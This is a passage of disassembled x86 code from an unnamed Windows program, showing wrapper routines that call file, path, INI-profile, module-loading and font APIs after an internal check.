loc_50AA1D mov eax, [ebp+arg_4] and dword ptr [eax], 0 loc_50AA1D: ; CODE XREF: sub_50A9EC+23j ; sub_50A9EC+29j mov eax, [ebp+var_4] leave retn 8 sub_50A9EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50AA24 proc near ; CODE XREF: sub_401300+83p ; sub_401404+DAp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_507141 add esp, 10h test eax, eax jnz short loc_50AA57 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_511714 ; GetModuleFileNameA mov [ebp+var_4], eax loc_50AA57: ; CODE XREF: sub_50AA24+1Fj mov eax, [ebp+var_4] leave retn 0Ch sub_50AA24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50AA5E proc near ; DATA XREF: _7:005113B0o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push edi and [ebp+var_4], 0 mov eax, [ebp+arg_8] inc eax push eax call sub_50835A pop ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_8], eax mov ecx, [ebp+arg_8] inc ecx xor eax, eax mov edi, [ebp+var_8] mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb lea eax, [ebp+var_4] push eax push [ebp+arg_8] push [ebp+var_8] push [ebp+arg_0] call sub_507141 add esp, 10h test eax, eax jnz short loc_50AABF push [ebp+arg_8] push [ebp+var_8] push [ebp+arg_0] call ds:dword_511714 ; GetModuleFileNameA mov [ebp+var_4], eax loc_50AABF: ; CODE XREF: sub_50AA5E+4Dj push [ebp+arg_8] push [ebp+arg_4] push 0FFFFFFFFh push [ebp+var_8] push 0 push 0 call ds:dword_511770 ; MultiByteToWideChar mov eax, [ebp+var_8] mov [ebp+var_10], eax push [ebp+var_10] call sub_5083DD pop ecx mov eax, [ebp+var_4] pop edi leave retn 0Ch sub_50AA5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50AAEB proc near ; DATA XREF: _7:005113B8o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_5018CF add esp, 10h test eax, eax jnz short loc_50AB36 push offset aKernel32_0 ; "kernel32" push offset aGetlongpathnam ; "GetLongPathNameA" call sub_509C22 pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_50AB36 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_8] mov [ebp+var_4], eax loc_50AB36: ; CODE XREF: sub_50AAEB+20j ; sub_50AAEB+3Aj mov eax, [ebp+var_4] leave retn 0Ch sub_50AAEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50AB3D proc near ; DATA XREF: _7:005113C0o var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 0050AC52 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50EA98 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 24h push ebx push esi push edi and [ebp+var_1C], 0 mov eax, [ebp+arg_8] inc eax push eax call sub_50835A pop ecx mov [ebp+var_30], eax mov eax, [ebp+var_30] mov [ebp+var_24], eax mov ecx, [ebp+arg_8] inc ecx xor eax, eax mov edi, [ebp+var_24] mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb push 400h call sub_50835A pop ecx mov [ebp+var_34], eax mov eax, [ebp+var_34] mov [ebp+var_20], eax and [ebp+var_4], 0 push 0 push 0 push 400h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_5117B8 ; WideCharToMultiByte mov [ebp+var_28], eax lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push [ebp+var_24] push [ebp+var_20] call sub_5018CF add esp, 10h test eax, eax jnz short loc_50AC0B push offset aKernel32_0 ; "kernel32" push offset aGetlongpathn_0 ; "GetLongPathNameW" call sub_509C22 pop ecx pop ecx mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_50AC09 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_2C] mov [ebp+var_1C], eax loc_50AC09: ; CODE XREF: sub_50AB3D+BBj jmp short loc_50AC28 ; --------------------------------------------------------------------------- loc_50AC0B: ; CODE XREF: sub_50AB3D+A1j mov eax, [ebp+var_1C] cmp eax, [ebp+arg_8] jnb short loc_50AC28 push [ebp+arg_8] push [ebp+arg_4] push 0FFFFFFFFh push [ebp+var_24] push 0 push 0 call ds:dword_511770 ; MultiByteToWideChar loc_50AC28: ; CODE XREF: sub_50AB3D:loc_50AC09j ; sub_50AB3D+D4j or [ebp+var_4], 0FFFFFFFFh call sub_50AC33 jmp short loc_50AC52 sub_50AB3D endp ; =============== S U B R O U T I N E ======================================= sub_50AC33 proc near ; CODE XREF: sub_50AB3D+EFp ; DATA XREF: _6:0050EAA0o mov eax, [ebp-24h] mov [ebp-38h], eax push dword ptr [ebp-38h] call sub_5083DD pop ecx mov eax, [ebp-20h] mov [ebp-3Ch], eax push dword ptr [ebp-3Ch] call sub_5083DD pop ecx retn sub_50AC33 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_50AB3D loc_50AC52: ; CODE XREF: sub_50AB3D+F4j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 0Ch ; END OF FUNCTION CHUNK FOR sub_50AB3D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50AC66 proc near ; DATA XREF: _7:00511370o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch push edi push 0 xor edx, edx mov ecx, [ebp+arg_14] call sub_5019D2 test eax, eax jz short loc_50ACE9 push 0 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_501CC4 add esp, 1Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_50ACE7 cmp [ebp+arg_8], 0 jz short loc_50ACE7 mov eax, [ebp+arg_10] dec eax push eax push [ebp+arg_8] push [ebp+arg_C] call sub_4FC770 add esp, 0Ch mov edi, [ebp+arg_8] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_8], ecx mov eax, [ebp+var_8] cmp eax, [ebp+arg_10] jnb short loc_50ACDB mov eax, [ebp+var_8] mov [ebp+var_C], eax jmp short loc_50ACE1 ; --------------------------------------------------------------------------- loc_50ACDB: ; CODE XREF: sub_50AC66+6Bj mov eax, [ebp+arg_10] mov [ebp+var_C], eax loc_50ACE1: ; CODE XREF: sub_50AC66+73j mov eax, [ebp+var_C] mov [ebp+var_4], eax loc_50ACE7: ; CODE XREF: sub_50AC66+3Aj ; sub_50AC66+40j jmp short loc_50AD04 ; --------------------------------------------------------------------------- loc_50ACE9: ; CODE XREF: sub_50AC66+15j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_511724 ; GetPrivateProfileStringA mov [ebp+var_4], eax loc_50AD04: ; CODE XREF: sub_50AC66:loc_50ACE7j mov eax, [ebp+var_4] pop edi leave retn 18h sub_50AC66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50AD0C proc near ; DATA XREF: _7:00511378o var_58 = dword ptr -58h var_54 = byte ptr -54h var_53 = byte ptr -53h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 58h push edi and [ebp+var_4], 0 push 0 xor edx, edx mov ecx, [ebp+arg_C] call sub_5019D2 test eax, eax jz short loc_50AD76 and [ebp+var_54], 0 push 13h pop ecx xor eax, eax lea edi, [ebp+var_53] rep stosd stosw stosb push 0 push [ebp+arg_C] push 50h lea eax, [ebp+var_54] push eax push offset dword_511918 push [ebp+arg_4] push [ebp+arg_0] call sub_501CC4 add esp, 1Ch mov [ebp+var_58], eax cmp [ebp+var_58], 0 jnz short loc_50AD67 mov eax, [ebp+arg_8] mov [ebp+var_4], eax jmp short loc_50AD74 ; --------------------------------------------------------------------------- loc_50AD67: ; CODE XREF: sub_50AD0C+51j lea eax, [ebp+var_54] push eax call sub_4FCA75 pop ecx mov [ebp+var_4], eax loc_50AD74: ; CODE XREF: sub_50AD0C+59j jmp short loc_50AD8B ; --------------------------------------------------------------------------- loc_50AD76: ; CODE XREF: sub_50AD0C+19j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_51171C ; GetPrivateProfileIntA mov [ebp+var_4], eax loc_50AD8B: ; CODE XREF: sub_50AD0C:loc_50AD74j mov eax, [ebp+var_4] pop edi leave retn 10h sub_50AD0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50AD93 proc near ; DATA XREF: _7:00511380o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 0 xor edx, edx mov ecx, [ebp+arg_8] call sub_5019D2 test eax, eax jz short loc_50ADC5 push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push 0 push 0 push 0 call sub_501CC4 add esp, 1Ch mov [ebp+var_4], eax jmp short loc_50ADD7 ; --------------------------------------------------------------------------- loc_50ADC5: ; CODE XREF: sub_50AD93+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_511720 ; GetPrivateProfileSectionNamesA mov [ebp+var_4], eax loc_50ADD7: ; CODE XREF: sub_50AD93+30j mov eax, [ebp+var_4] leave retn 0Ch sub_50AD93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50ADDE proc near ; DATA XREF: _7:00511388o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push 0 xor edx, edx mov ecx, [ebp+arg_C] call sub_5019D2 test eax, eax jz short loc_50AE11 push 1 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push 0 push 0 push [ebp+arg_0] call sub_501CC4 add esp, 1Ch mov [ebp+var_4], eax jmp short loc_50AE26 ; --------------------------------------------------------------------------- loc_50AE11: ; CODE XREF: sub_50ADDE+12j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_50E02C ; GetPrivateProfileSectionA mov [ebp+var_4], eax loc_50AE26: ; CODE XREF: sub_50ADDE+31j mov eax, [ebp+var_4] leave retn 10h sub_50ADDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50AE2D proc near ; CODE XREF: sub_50AE83+8p ; sub_50AE96+9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_50AE43 push 7Eh call ds:dword_51178C ; RtlRestoreLastWin32Error xor eax, eax jmp short locret_50AE81 ; --------------------------------------------------------------------------- loc_50AE43: ; CODE XREF: sub_50AE2D+8j mov ecx, [ebp+arg_0] call sub_505AD2 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_50AE7E mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] call sub_5061E1 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_50AE7E call ds:dword_511710 ; RtlGetLastWin32Error test eax, eax jnz short loc_50AE7A push 7Eh call ds:dword_51178C ; RtlRestoreLastWin32Error loc_50AE7A: ; CODE XREF: sub_50AE2D+43j xor eax, eax jmp short locret_50AE81 ; --------------------------------------------------------------------------- loc_50AE7E: ; CODE XREF: sub_50AE2D+25j ; sub_50AE2D+39j mov eax, [ebp+var_4] locret_50AE81: ; CODE XREF: sub_50AE2D+14j ; sub_50AE2D+4Fj leave retn sub_50AE2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50AE83 proc near ; CODE XREF: sub_409D10+13Ap ; sub_409D10+519p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push [ebp+arg_0] call sub_50AE2D pop ecx pop ecx pop ebp retn 4 sub_50AE83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50AE96 proc near ; CODE XREF: sub_509518+B9p ; sub_509789+B9p ... arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push [ebp+arg_8] push [ebp+arg_0] call sub_50AE2D pop ecx pop ecx pop ebp retn 0Ch sub_50AE96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50AEAA proc near ; CODE XREF: sub_50AF65+8p ; sub_50AF78+9p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50EAA8 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 10h push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_50AEE1 push 7Eh call ds:dword_51178C ; RtlRestoreLastWin32Error xor eax, eax jmp short loc_50AF56 ; --------------------------------------------------------------------------- loc_50AEE1: ; CODE XREF: sub_50AEAA+29j and [ebp+var_1C], 0 and [ebp+var_4], 0 push 104h call sub_50835A pop ecx mov [ebp+var_20], eax mov eax, [ebp+var_20] mov [ebp+var_1C], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_1C] rep stosd push 0 push 0 push 104h push [ebp+var_1C] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_5117B8 ; WideCharToMultiByte push [ebp+arg_4] push [ebp+var_1C] call sub_50AE2D pop ecx pop ecx push 0FFFFFFFFh mov [ebp+var_28], eax lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_28] jmp short loc_50AF56 ; --------------------------------------------------------------------------- loc_50AF44: ; DATA XREF: _6:0050EAB0o mov eax, [ebp+var_1C] mov [ebp+var_24], eax push [ebp+var_24] call sub_5083DD pop ecx retn ; --------------------------------------------------------------------------- xor eax, eax loc_50AF56: ; CODE XREF: sub_50AEAA+35j ; sub_50AEAA+98j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_50AEAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50AF65 proc near ; DATA XREF: _7:005112D8o arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push [ebp+arg_0] call sub_50AEAA pop ecx pop ecx pop ebp retn 4 sub_50AF65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50AF78 proc near ; DATA XREF: _7:005112E8o arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push [ebp+arg_8] push [ebp+arg_0] call sub_50AEAA pop ecx pop ecx pop ebp retn 0Ch sub_50AF78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50AF8C proc near ; CODE XREF: sub_401404+D3p ; sub_409D10+Fp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_50AFA0 push 0 call ds:dword_511718 ; GetModuleHandleA jmp short locret_50AFC2 ; --------------------------------------------------------------------------- loc_50AFA0: ; CODE XREF: sub_50AF8C+8j push [ebp+arg_0] call ds:dword_511718 ; GetModuleHandleA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_50AFBF xor dl, dl mov ecx, [ebp+arg_0] call sub_5058CF mov [ebp+var_4], eax loc_50AFBF: ; CODE XREF: sub_50AF8C+24j mov eax, [ebp+var_4] locret_50AFC2: ; CODE XREF: sub_50AF8C+12j leave retn 4 sub_50AF8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50AFC6 proc near ; DATA XREF: _7:00511358o var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0050B062 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50EAB8 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 10h push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_50AFFB push 0 call ds:dword_511718 ; GetModuleHandleA jmp short loc_50B065 ; --------------------------------------------------------------------------- loc_50AFFB: ; CODE XREF: sub_50AFC6+29j and [ebp+var_1C], 0 and [ebp+var_20], 0 and [ebp+var_4], 0 push 104h call sub_50835A pop ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_20], eax xor eax, eax mov edi, [ebp+var_20] stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_5117B8 ; WideCharToMultiByte push [ebp+var_20] call sub_50AF8C mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_50B052 jmp short loc_50B062 sub_50AFC6 endp ; =============== S U B R O U T I N E ======================================= sub_50B052 proc near ; CODE XREF: sub_50AFC6+85p ; DATA XREF: _6:0050EAC0o mov eax, [ebp-20h] mov [ebp-28h], eax push dword ptr [ebp-28h] call sub_5083DD pop ecx retn sub_50B052 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_50AFC6 loc_50B062: ; CODE XREF: sub_50AFC6+8Aj mov eax, [ebp+var_1C] loc_50B065: ; CODE XREF: sub_50AFC6+33j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 ; END OF FUNCTION CHUNK FOR sub_50AFC6 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B076 proc near ; CODE XREF: sub_409D10+29p ; sub_409D10+36p ... var_30 = dword ptr -30h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0050B179 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50EAC8 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_1C], 0 mov eax, [ebp+arg_4] shr eax, 10h movzx eax, ax test eax, eax jz short loc_50B0C9 push offset aDllgetclassobj ; "DllGetClassObject" push [ebp+arg_4] call ds:dword_5117C0 ; lstrcmpi test eax, eax jnz short loc_50B0C9 mov ecx, [ebp+arg_0] call sub_505A41 loc_50B0C9: ; CODE XREF: sub_50B076+37j ; sub_50B076+49j and [ebp+var_4], 0 push [ebp+arg_4] push [ebp+arg_0] call ds:dword_511728 ; GetProcAddress mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_50B0F9 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] and [ebp+var_30], 0 or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_30] jmp loc_50B17C ; --------------------------------------------------------------------------- loc_50B0F9: ; CODE XREF: sub_50B076+6Aj cmp [ebp+var_1C], 0 jz short loc_50B179 mov eax, ds:dword_5160D4 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_50B120 mov eax, [ebp+var_24] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov [ebp+var_28], 1 jmp short loc_50B124 ; --------------------------------------------------------------------------- loc_50B120: ; CODE XREF: sub_50B076+95j and [ebp+var_28], 0 loc_50B124: ; CODE XREF: sub_50B076+A8j movzx eax, [ebp+var_28] test eax, eax jz short loc_50B179 mov [ebp+var_4], 1 push [ebp+var_1C] mov ecx, ds:dword_5160D4 call sub_50B871 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_50B152 mov eax, [ebp+var_20] mov eax, [eax] mov [ebp+var_1C], eax loc_50B152: ; CODE XREF: sub_50B076+D2j or [ebp+var_4], 0FFFFFFFFh call sub_50B15D jmp short loc_50B179 sub_50B076 endp ; =============== S U B R O U T I N E ======================================= sub_50B15D proc near ; CODE XREF: sub_50B076+E0p ; DATA XREF: _6:0050EADCo mov eax, ds:dword_5160D4 mov [ebp-2Ch], eax cmp dword ptr [ebp-2Ch], 0 jz short locret_50B178 mov eax, [ebp-2Ch] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection locret_50B178: ; CODE XREF: sub_50B15D+Cj retn sub_50B15D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_50B076 loc_50B179: ; CODE XREF: sub_50B076+87j ; sub_50B076+B4j ... mov eax, [ebp+var_1C] loc_50B17C: ; CODE XREF: sub_50B076+7Ej mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_50B076 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B18D proc near ; CODE XREF: sub_41786C+170p ; sub_419229+C3p ... var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50EAE0 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_1C], 0 push [ebp+arg_0] call ds:dword_5116E0 ; FreeLibrary jmp short loc_50B1D9 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 1 or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_24] loc_50B1D9: ; CODE XREF: sub_50B18D+35j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_50B18D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B1EA proc near ; DATA XREF: _7:off_5113D8o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 mov eax, [ebp+arg_14] and eax, 10h test eax, eax jz short loc_50B216 cmp [ebp+arg_8], 0 jnz short loc_50B216 lea eax, [ebp+var_4] push eax push [ebp+arg_4] call sub_4FF036 test eax, eax jnz short loc_50B216 and [ebp+var_4], 0 loc_50B216: ; CODE XREF: sub_50B1EA+10j ; sub_50B1EA+16j ... cmp [ebp+var_4], 0 jnz short loc_50B237 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_5117CC ; LoadImageA mov [ebp+var_4], eax loc_50B237: ; CODE XREF: sub_50B1EA+30j mov eax, [ebp+var_4] leave retn 18h sub_50B1EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B23E proc near ; DATA XREF: _7:off_5113C8o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push offset dword_50E5C4 push offset aAddfontresou_0 ; "AddFontResourceA" call sub_509C22 pop ecx pop ecx mov [ebp+var_8], eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_4FF94C test eax, eax jnz short loc_50B270 push [ebp+arg_0] call [ebp+var_8] mov [ebp+var_4], eax loc_50B270: ; CODE XREF: sub_50B23E+27j mov eax, [ebp+var_4] leave retn 4 sub_50B23E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B277 proc near ; DATA XREF: _7:005113D0o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push offset dword_50E5C4 push offset aRemovefontre_0 ; "RemoveFontResourceA" call sub_509C22 pop ecx pop ecx mov [ebp+var_8], eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_4FFD24 test eax, eax jnz short loc_50B2A9 push [ebp+arg_0] call [ebp+var_8] mov [ebp+var_4], eax loc_50B2A9: ; CODE XREF: sub_50B277+27j mov eax, [ebp+var_4] leave retn 4 sub_50B277 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B2B0 proc near ; CODE XREF: sub_40E29B+A3p ; sub_40FFD8+1C3p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_14] and eax, 40000000h neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_4] push eax push [ebp+arg_10] push [ebp+arg_4] push [ebp+arg_0] call sub_500346 test eax, eax jnz short loc_50B2F7 push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_5116A8 ; CreateFileA mov [ebp+var_4], eax loc_50B2F7: ; CODE XREF: sub_50B2B0+27j mov eax, [ebp+var_4] leave retn 1Ch sub_50B2B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B2FE proc near ; DATA XREF: _7:00511260o var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h ; FUNCTION CHUNK AT 0050B3C1 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50EAF0 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 14h push ebx push esi push edi and [ebp+var_20], 0 or [ebp+var_1C], 0FFFFFFFFh and [ebp+var_4], 0 push 104h call sub_50835A pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_20], eax xor eax, eax mov edi, [ebp+var_20] stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_5117B8 ; WideCharToMultiByte mov [ebp+var_24], eax cmp [ebp+var_24], 103h ja short loc_50B388 push 0 lea eax, [ebp+var_1C] push eax push [ebp+arg_10] push [ebp+arg_4] push [ebp+var_20] call sub_500346 test eax, eax jnz short loc_50B3A6 loc_50B388: ; CODE XREF: sub_50B2FE+70j push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_5116AC ; CreateFileW mov [ebp+var_1C], eax loc_50B3A6: ; CODE XREF: sub_50B2FE+88j or [ebp+var_4], 0FFFFFFFFh call sub_50B3B1 jmp short loc_50B3C1 sub_50B2FE endp ; =============== S U B R O U T I N E ======================================= sub_50B3B1 proc near ; CODE XREF: sub_50B2FE+ACp ; DATA XREF: _6:0050EAF8o mov eax, [ebp-20h] mov [ebp-2Ch], eax push dword ptr [ebp-2Ch] call sub_5083DD pop ecx retn sub_50B3B1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_50B2FE loc_50B3C1: ; CODE XREF: sub_50B2FE+B1j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 1Ch ; END OF FUNCTION CHUNK FOR sub_50B2FE ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B3D5 proc near ; CODE XREF: sub_401300+BEp ; sub_401300+C3p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_500741 test eax, eax jnz short 